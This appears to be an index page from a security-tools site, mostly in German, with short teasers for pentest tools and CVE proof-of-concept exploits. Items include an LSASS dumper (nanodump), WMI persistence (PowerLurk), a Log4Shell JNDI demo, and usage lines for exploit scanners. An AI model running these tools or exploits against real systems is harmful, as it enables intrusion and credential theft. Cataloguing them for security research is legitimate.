ADenum

Enumerazione di Active Directory - ADEnum.py ADEnum.py è uno strumento di pentesting che permette di trovare errori di configurazione tramite il protocollo LDAP e sfruttare alcune di quelle debolezze con Kerberos. root@kitploit: █████╗ ██████╗ ███████╗███╗ ██╗██╗ ██╗███╗ ███╗ ██╔══██╗██╔══██╗...

CVE-2025-49132_poc

CVE-2025-49132poc Verwendungsbeispiele 1. Einzelnes Ziel scannen : root@kitploit: python3 CVE-2025-49132poc.py -u http://pterodactyl.example.com 2. Zielliste scannen : root@kitploit: python3 CVE-2025-49132poc.py -f zielliste.txt 3. Scanergebnisse speichern : root@kitploit: python3...

CVE-2025-10230

CVE-2025-10230 — Samba WINS Hook Befehlsinjektion Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Die Forschung dient ausschließlich Bildungs- und Verteidigungszwecken. Beschreibung Dieses Repository enthält einen Proof-of-Concept PoC für...

CVE-2021-20323

CVE-2021-20323 Beschreibung Keycloak vor Version 18.0.0 und nach 10.0.0 enthält eine reflektierte XSS im clients-registrations-Endpunkt. Der Fehler wird ausgelöst, indem per POST eine JSON-Struktur mit einem Schlüssel als Parameter-Namen übermittelt wird, der vom Endpunkt nicht unterstützt wird...

CVE-2023-30092

CVE-2023-30092 Alle Details zu CVE-2023-30092 Software: Online Pizza Ordering System 1.0 Software Link: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html Vulnerability Type: SQL Injection Affected Component: QTY Parameter Impact Denial of Service: Tru...

PoC

PoC Verschiedene PoCs - Internet der UnSicherheits-Dinge Es lohnt sich, über diese miesen unsicheren Dinge zu lesen: https://ipvm.com/reports/security-exploits Hikvision CVE-2021-36260 2021-10-19 Alle Credits an WatchfulIP https://watchfulip.github.io/...

CVE-2019-16724

Schwachstellenbeschreibung File Sharing Wizard 1.5.0 erlaubt es einem entfernten Angreifer, beliebigen Code durch Ausnutzung eines auf einem Structured Exception Handler SEH basierenden Pufferüberlaufs in einem HTTP-POST-Parameter auszuführen. Dieser Exploit wurde unter windows 7 Home getestet. E...

otseca

Open-Source-Sicherheitsaudit-Tool zum Durchsuchen und Auslesen der Systemkonfiguration. Einleitung | Beschreibung | Voraussetzungen | Ausgabe | Parameter | Berichte | Funktionsweise | Sonstiges...

blogpost_cve-2018-19987-analysis

CVE-2018-19987 D-Link OS command injection – Analyse Hallo zusammen! In diesem kurzen Blogbeitrag stelle ich eine schnelle Analyse vor, die ich durchgeführt habe, um die Details hinter CVE-2018-19987 besser zu verstehen. Zunächst bin ich dieser CVE nachgegangen, weil ich dachte, dass es keine...

PowerLurk

PowerLurk PowerLurk ist ein PowerShell-Toolset zur Erstellung bösartiger WMI-Ereignisabonnements. Ziel ist es, das Auslösen von WMI-Ereignissen während eines Penetrationstests oder Red-Team-Einsatzes zu erleichtern. Weitere Informationen finden Sie in meinem Beitrag Creeping on Users with WMI...

ThreatsDay: 296K IoT Botnet, 100+ Water Systems Targeted, SharePoint RCE Chain + 27 New Stories

A fake login page. A fake security scan. A fake productivity app. Apparently, pretending to be useful is still one of the easier ways into a machine. The rest of the week gets stranger: botnets borrowing AI, command traffic hiding in public infrastructure, malicious tools waiting before showing...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Ein Beispiel zur Remote-Code-Injektion mittels CVE-2021-44228 über RMI und LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit Der...

nanodump

NanoDump Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt. Inhaltsverzeichnis 1. Verwendung 2. Funktionen 3. Kombination von Techniken 4. Beispiele 5. HTTPS-Weiterleitungen 1. Verwendung root@kitploit: usage: Z:\nanodump.x64.exe --write C:\Windows\Temp\doc.docx --valid...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler Server Side Request Forgery SSRF Hit Counter Apache Solr steht für Searching On Lucene with Replication ist eine freie Open-Source-Suchmaschine, die auf der Bibliothek Apache Lucene basiert und in Java geschrieben ist. Apache Solr verfügt über...

CVE-2017-9822

CVE-2017-9822 DotNetNuke Cookie-Deserialisierung führt zu Remote Code Execution RCE DotNetNuke DNN Versionen zwischen 5.0.0 und 9.3.0 sind von einer Deserialisierungsschwachstelle betroffen, die zu Remote Code Execution RCE führt. DotNetNuke verwendet das Cookie DNNPersonalization, um...

Wordfence Intelligence Weekly WordPress Vulnerability Report (August 17, 2026 to August 23, 2026)

Last week, there were 240 vulnerabilities disclosed in 184 WordPress Plugins and 17 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 105 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabiliti...

log4jail

log4jail 🛡️ Ein schneller Firewall-Reverse-Proxy mit TLS HTTPS und Swarm-Unterstützung zur Verhinderung von Log4J Log4Shell aka CVE-2021-44228 Angriffen. 📖 Inhaltsverzeichnis Einleitung Installation Schnellstart Proof of Concept Für Pentester ℹ️ Einleitung log4jail ist eine schnelle und einfache...

CVE-2020-7471

CVE-2020-7471 SQL-Injection über die StringAgg-Trennzeicheneingabe Einrichtung: Führen Sie ./setup.sh für die Ersteinrichtung aus Öffnen Sie das Docker-Image, um die Datenbank zu initialisieren: docker exec -it containerid /bin/bash Und führen Sie die folgenden Befehle aus: root@kitploit: python...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 ist anfällig für RCE via SQL-Injection. Anbieter: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software-Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Schritt 1: Navigieren Sie zur...

angr

angr angr ist ein plattformunabhängiges Binary-Analyse-Framework. Es wird Ihnen präsentiert vom Computer Security Lab der UC Santa Barbara, SEFCOM an der Arizona State University, ihrem zugehörigen CTF-Team, Shellphish, der Open-Source-Community und @rhelmot. Projektlinks Homepage: https://angr.i...